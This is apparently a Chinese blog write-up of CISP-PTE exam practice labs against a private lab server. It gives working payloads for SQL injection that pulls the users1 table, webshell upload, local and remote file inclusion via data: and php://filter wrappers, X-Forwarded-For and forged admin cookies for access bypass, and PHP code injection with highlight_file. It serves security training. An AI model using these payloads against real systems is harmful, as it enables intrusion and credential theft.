CISP-PTE实操练习题讲解二(新版)

系列文章目录

文章目录

  • 系列文章目录
  • 前言
  • 一、SQL注入
  • 二、文件上传
  • 三、文件包含
  • 四、反序列化漏洞
  • 五、失效的访问控制
  • 六、代码审计
  • 总结

前言

上一期给大家讲解了PTE考试练习的第一套题,每个题的解法都很详细的讲解了,接下来会给大家讲解第二套题,也是历年考试的题目,难度有点大,在这里给大家好好讲解一下。

一、SQL注入

http://192.168.230.133:81/
CISP-PTE实操练习题讲解二(新版)_第1张图片
http://192.168.230.133:81/start/
CISP-PTE实操练习题讲解二(新版)_第2张图片
进去之后,我们发现是一个注册页面,我们先注册一个账号
CISP-PTE实操练习题讲解二(新版)_第3张图片
CISP-PTE实操练习题讲解二(新版)_第4张图片
我们发表一个看看
CISP-PTE实操练习题讲解二(新版)_第5张图片
insert article1 value(‘977E4328-4F2E-6A8D-6313-2BAB8B3FAC0B’,‘aa’,‘aaa’,‘123’)

我们看到后面输入的内容是在第二,第三个空,大概率是在内容上。
我们看到–和#号都被过滤了,我们可以用/**/进行绕过,这就用到二次注入的方法,次方法就比较麻烦,这里给大家介绍一种简单的方法。j就是多行注入的方法,可以从发表的内容中查看注入后返回的内容。
// 代码过滤规则
while (strstr($sql,‘–’)) {
$sql = str_replace(“–”, “”, $sql);
}

while (strstr($sql,‘#’)) {
$sql = str_replace(“#”, “”, $sql);
}

我们在内容里注入语句试试
1’,‘123’),(‘1’,‘2’,‘3
CISP-PTE实操练习题讲解二(新版)_第6张图片
我们看到2是回显位置
CISP-PTE实操练习题讲解二(新版)_第7张图片
查当前数据库
1’,‘123’),(‘1’,database(),‘3
CISP-PTE实操练习题讲解二(新版)_第8张图片
查表
1’,‘123’),(‘1’,(select group_concat(table_name) from information_schema.tables where table_schema=‘2web’),'3
CISP-PTE实操练习题讲解二(新版)_第9张图片
CISP-PTE实操练习题讲解二(新版)_第10张图片
article,article1,users1

查字段
1’,‘123’),(‘1’,(select group_concat(column_name) from information_schema.columns where table_name=‘users1’),'3
CISP-PTE实操练习题讲解二(新版)_第11张图片
CISP-PTE实操练习题讲解二(新版)_第12张图片
username,password

查字段中的数据
1’,‘123’),(‘1’,(select password from users1 limit 0,1),'3
因为key可能就在password中
CISP-PTE实操练习题讲解二(新版)_第13张图片
CISP-PTE实操练习题讲解二(新版)_第14张图片
我们就找到key1:u9y8tr4n了。

二、文件上传

http://192.168.230.133:82/
CISP-PTE实操练习题讲解二(新版)_第15张图片
尝试获取webshell,答案就在根目录下key.php文件中。

我们进入答题
http://192.168.230.133:82/start/
CISP-PTE实操练习题讲解二(新版)_第16张图片
类似于第一套题中的上传题目一样,上传一个.jpg文件,在修改后缀名上传就可以了。

这是我们文件中的内容
GIF89a

CISP-PTE实操练习题讲解二(新版)_第17张图片
我们查看一下 b.php文件
http://192.168.230.133:82/b.php
CISP-PTE实操练习题讲解二(新版)_第18张图片
右键查看源码
CISP-PTE实操练习题讲解二(新版)_第19张图片
我们就拿到了key2:a1b2c3d4了。

三、文件包含

http://192.168.230.133:83/
CISP-PTE实操练习题讲解二(新版)_第20张图片
http://192.168.230.133:83/start/index.php?page=hello
CISP-PTE实操练习题讲解二(新版)_第21张图片
我们使用伪协议和base64编码读文件试一下
首先是data://text/plain,

http://192.168.230.133:83/start/index.php?page=data://text/plain,
CISP-PTE实操练习题讲解二(新版)_第22张图片
没有回显,data://被过滤了,我们使用data:/试试
http://192.168.230.133:83/start/index.php?page=data:/text/plain,
CISP-PTE实操练习题讲解二(新版)_第23张图片
右键查看源码看看
CISP-PTE实操练习题讲解二(新版)_第24张图片
我们就拿到key3:abcdefgh了。

我们也可以尝试php文件包含试试
http://192.168.230.133:83/start/index.php?page=php://filter/convert.base64-encode/resource==…/key.php
CISP-PTE实操练习题讲解二(新版)_第25张图片
同样被过滤掉了。是因为后面总是会加上一个txt文件,所以会被认定为一个txt文件,无法解析,在这里我给大家讲一下正解。

我们只需要在上一题中修改一下文件后缀名就可以了,将b.php修改为b.txt文件,进行上传,文件内容如下所示:
GIF89a

这里我们使用远程包含上一题上传的b.txt文件,因为这里会自动加上后面的.txt,所以这里包含的时候,后面就不用添加后缀名了。
http://192.168.230.133:83/start/index.php?page=http://192.168.230.133:82/b
CISP-PTE实操练习题讲解二(新版)_第26张图片
点击右键查看源代码
CISP-PTE实操练习题讲解二(新版)_第27张图片
我们就得到了key3:abcdefg。

四、反序列化漏洞

http://192.168.230.133:84/
CISP-PTE实操练习题讲解二(新版)_第28张图片
http://192.168.230.133:84/start/index.php
CISP-PTE实操练习题讲解二(新版)_第29张图片
看到源码就是让我们进行反序列化为字符串,然后输出 key4.php的内容,我们只需要在后面加上下面这个,就可以。
str=s:44:“Whatever is worth doing is worth doing well.”;

http://192.168.230.133:84/start/index.php?str=s:44:“Whatever is worth doing is worth doing well.”;
CISP-PTE实操练习题讲解二(新版)_第30张图片
我们就拿到key4:12345678了。

五、失效的访问控制

http://192.168.230.133:85/start/
CISP-PTE实操练习题讲解二(新版)_第31张图片
CISP-PTE实操练习题讲解二(新版)_第32张图片
进去之后,发现只能本地访问,我们只需抓包后,请求下面添加xff为127.0.0.1就可以了,加上一句话。
x-forwarded-for:127.0.0.1

修改之后,发现可以访问了,但是无权访问,我们就需要修改权限,将其中的 IsAdmin=false; Username=R3Vlc3Q%3D修改为IsAdmin=true; Username=admin
再将后面的admin进行编码后:
IsAdmin=true; Username=YWRtaW4=
进行发送就可以了。
CISP-PTE实操练习题讲解二(新版)_第33张图片
CISP-PTE实操练习题讲解二(新版)_第34张图片
成功拿到key5:12345678了。

六、代码审计

http://192.168.230.133:84/start/vul4.php
CISP-PTE实操练习题讲解二(新版)_第35张图片
其中意思就是说将参数a,赋值给一个字符串,将其最小化输出,就是输出key4.php文件。

我们只需要闭合前面和后面的括号,在括号中间的输入要读取的文件就可以了。输入以下语句就可以了
http://192.168.230.133:84/start/vul4.php?a=“);highlight_file(‘key4.php’)”
CISP-PTE实操练习题讲解二(新版)_第36张图片
我们就拿到key4:12345678了。

总结

这里第二套习题就完了,大家好好复习一下,接下来下一篇文章,我会给大家讲解一下综合题的练习情况。

你可能感兴趣的:(CISP-PTE实操练习,安全性测试,web安全,安全)